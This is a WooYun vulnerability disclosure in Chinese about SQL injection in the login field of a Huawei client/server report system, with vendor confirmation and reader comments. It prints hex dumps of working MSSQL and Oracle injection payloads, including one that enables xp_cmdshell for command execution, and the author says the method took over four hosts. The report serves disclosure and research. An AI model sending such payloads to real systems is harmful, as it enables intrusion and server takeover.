当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083480

漏洞标题:华为某智能报表系统(C/S结构)存在特殊的SQL注入,可直接控制服务

相关厂商:华为技术有限公司

漏洞作者: wefgod

提交时间:2014-11-16 12:23

修复时间:2015-02-14 12:24

公开时间:2015-02-14 12:24

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-16: 细节已通知厂商并且等待厂商处理中
2014-11-20: 厂商已经确认,细节仅向厂商公开
2014-11-23: 细节向第三方安全合作伙伴开放
2015-01-14: 细节向核心白帽子及相关领域专家公开
2015-01-24: 细节向普通白帽子公开
2015-02-03: 细节向实习白帽子公开
2015-02-14: 细节向公众公开

简要描述:

华为某智能报表系统(C/S结构)存在特殊的SQL注入,可直接控制服务

详细说明:

系统就是叫华为智能报表系统
这里测试了下面截图上的两个版本(服务器端应该也是有一个对应的版本号的),一个是oracle数据库,一个是mssql

image001.png


客户端的截图如下:

image002.png


在软件中可以直接配置代理地址(必须这样配置,否则可能改包会比较困难,还好有这个功能……真人性化啊)

image004.png


登录也是走的http,但是传输的数据会做一些内部转换和unicode编码:

image005.png


从上图可以看出他带有一个userid字段和一个password字段,只是相关字符是使用的unicode编码,另外把一般web里面的等号和&做了另外一个转换,跟着他的规则走即可。
服务器端返回的其中一种结果如下:

image007.png


漏洞证明:

在服务器端处理userid这个参数的时候没有做好过滤,客户端检测到单引号’的时候会自动转换然后再提交到服务器,所以我们可以直接改数据包即可,比如我发送以下数据包过去(这里就用16进制视图了):
http://1.1.1.1:8988/RptServlet?rptSessionId=&packageId=RptLogin&action=Login&TaskId=12

00000000h: 55 00 73 00 65 00 72 00 49 00 64 00 04 00 27 00 ; U.s.e.r.I.d...'.
00000010h: 20 00 61 00 6E 00 64 00 20 00 40 00 40 00 76 00 ; .a.n.d. .@.@.v.
00000020h: 65 00 72 00 73 00 69 00 6F 00 6E 00 3E 00 30 00 ; e.r.s.i.o.n.>.0.
00000030h: 20 00 61 00 6E 00 64 00 20 00 27 00 31 00 27 00 ; .a.n.d. .'.1.'.
00000040h: 3D 00 27 00 31 00 05 00 55 00 73 00 65 00 72 00 ; =.'.1...U.s.e.r.
00000050h: 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64 00 ; P.a.s.s.w.o.r.d.
00000060h: 04 00 31 00 39 00 4A 00 41 00 60 00 70 00 53 00 ; ..1.9.J.A.`.p.S.
00000070h: 35 00 51 00 7E 00 61 00 78 00 3E 00 39 00 41 00 ; 5.Q.~.a.x.>.9.A.
00000080h: 5C 00 05 00 ; \...


很明显可以看出是mssql的注入语句,返回的数据包如下:

image009.png


里面明显包含有一些错误信息,再看看客户端解码后的截图:

image011.png


明显爆出了mssql的版本号!
上面是mssql的版本,再提供一个oracle数据库的:
Userid插入以下数据即可:

00000000h: 27 00 20 00 61 00 6E 00 64 00 20 00 31 00 3D 00 ; '. .a.n.d. .1.=.
00000010h: 75 00 74 00 6C 00 5F 00 69 00 6E 00 61 00 64 00 ; u.t.l._.i.n.a.d.
00000020h: 64 00 72 00 2E 00 67 00 65 00 74 00 5F 00 68 00 ; d.r...g.e.t._.h.
00000030h: 6F 00 73 00 74 00 5F 00 61 00 64 00 64 00 72 00 ; o.s.t._.a.d.d.r.
00000040h: 65 00 73 00 73 00 28 00 28 00 73 00 65 00 6C 00 ; e.s.s.(.(.s.e.l.
00000050h: 65 00 63 00 74 00 20 00 62 00 61 00 6E 00 6E 00 ; e.c.t. .b.a.n.n.
00000060h: 65 00 72 00 20 00 66 00 72 00 6F 00 6D 00 20 00 ; e.r. .f.r.o.m. .
00000070h: 73 00 79 00 73 00 2E 00 76 00 5F 00 24 00 76 00 ; s.y.s...v._.$.v.
00000080h: 65 00 72 00 73 00 69 00 6F 00 6E 00 20 00 77 00 ; e.r.s.i.o.n. .w.
00000090h: 68 00 65 00 72 00 65 00 20 00 72 00 6F 00 77 00 ; h.e.r.e. .r.o.w.
000000a0h: 6E 00 75 00 6D 00 3D 00 31 00 29 00 29 00 2D 00 ; n.u.m.=.1.).).-.
000000b0h: 2D 00 ; -.


image012.png


所以只要适当改造,就有办法拿到权限了,下面给出mssql版开启cmdshell的数据包

00000000h: 55 00 73 00 65 00 72 00 49 00 64 00 04 00 27 00 ; U.s.e.r.I.d...'.
00000010h: 20 00 3B 00 45 00 58 00 45 00 43 00 20 00 73 00 ; .;.E.X.E.C. .s.
00000020h: 70 00 5F 00 63 00 6F 00 6E 00 66 00 69 00 67 00 ; p._.c.o.n.f.i.g.
00000030h: 75 00 72 00 65 00 20 00 27 00 73 00 68 00 6F 00 ; u.r.e. .'.s.h.o.
00000040h: 77 00 20 00 61 00 64 00 76 00 61 00 6E 00 63 00 ; w. .a.d.v.a.n.c.
00000050h: 65 00 64 00 20 00 6F 00 70 00 74 00 69 00 6F 00 ; e.d. .o.p.t.i.o.
00000060h: 6E 00 73 00 27 00 2C 00 20 00 31 00 3B 00 52 00 ; n.s.'.,. .1.;.R.
00000070h: 45 00 43 00 4F 00 4E 00 46 00 49 00 47 00 55 00 ; E.C.O.N.F.I.G.U.
00000080h: 52 00 45 00 3B 00 45 00 58 00 45 00 43 00 20 00 ; R.E.;.E.X.E.C. .
00000090h: 73 00 70 00 5F 00 63 00 6F 00 6E 00 66 00 69 00 ; s.p._.c.o.n.f.i.
000000a0h: 67 00 75 00 72 00 65 00 20 00 27 00 78 00 70 00 ; g.u.r.e. .'.x.p.
000000b0h: 5F 00 63 00 6D 00 64 00 73 00 68 00 65 00 6C 00 ; _.c.m.d.s.h.e.l.
000000c0h: 6C 00 27 00 2C 00 20 00 31 00 3B 00 52 00 45 00 ; l.'.,. .1.;.R.E.
000000d0h: 43 00 4F 00 4E 00 46 00 49 00 47 00 55 00 52 00 ; C.O.N.F.I.G.U.R.
000000e0h: 45 00 3B 00 2D 00 2D 00 05 00 55 00 73 00 65 00 ; E.;.-.-...U.s.e.
000000f0h: 72 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 ; r.P.a.s.s.w.o.r.
00000100h: 64 00 04 00 41 00 39 00 37 00 41 00 74 00 70 00 ; d...A.9.7.A.t.p.
00000110h: 27 00 23 00 51 00 70 00 37 00 47 00 6B 00 39 00 ; '.#.Q.p.7.G.k.9.
00000120h: 41 00 4A 00 05 00 ; A.J...


按上面的规则提交之后,就开启了cmdshell
接着提供添加用户及添加用户组的数据包(看测试代码吧哈哈,其实根据上面也可以改出来了)
登录到系统后的数据库截图(数据库名一般都是BAM)

image013.png


管理表截图

image015.png


Mssql的用这个方法一共拿下四台主机。

image017.png


image018.png


image019.png


为了避嫌就不发更多的截图了

修复方案:

华为比较擅长

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-11-20 09:55

厂商回复:

感谢白帽子对华为公司的关注和支持,经调查含有漏洞的系统已经处于EOS(End of Service),华为已提供了其他替代产品,建议用户使用新的产品。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-16 12:24 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    c/s都来注入了

  2. 2014-11-16 18:13 | 萌萌哒-花粉 ( 路人 | Rank:4 漏洞数:5 | 多乌云 多美女 花粉 顾名思义 就是校花班花...)

    乌云的第一个C/ S注入吧 ....他是不是客户端掩码过滤不严格,真想看看设个什么系统洞主标题不用某就更有爱了真是想不明白这个是个什么样的奇葩问题

  3. 2015-02-14 12:58 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    这个注入有意思

  4. 2015-02-14 14:18 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    这个是怎么改数据包和发送出去的?

  5. 2015-03-03 14:30 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @qhwlpg 他是走HTTP的,但是内容和一般的HTTP的不同

  6. 2015-07-21 07:30 | 夏殇 ( 路人 | Rank:30 漏洞数:21 | 不忘初心,方得始终。)

    如果没有设置代理功能的话还有什么办法可以抓包没0.0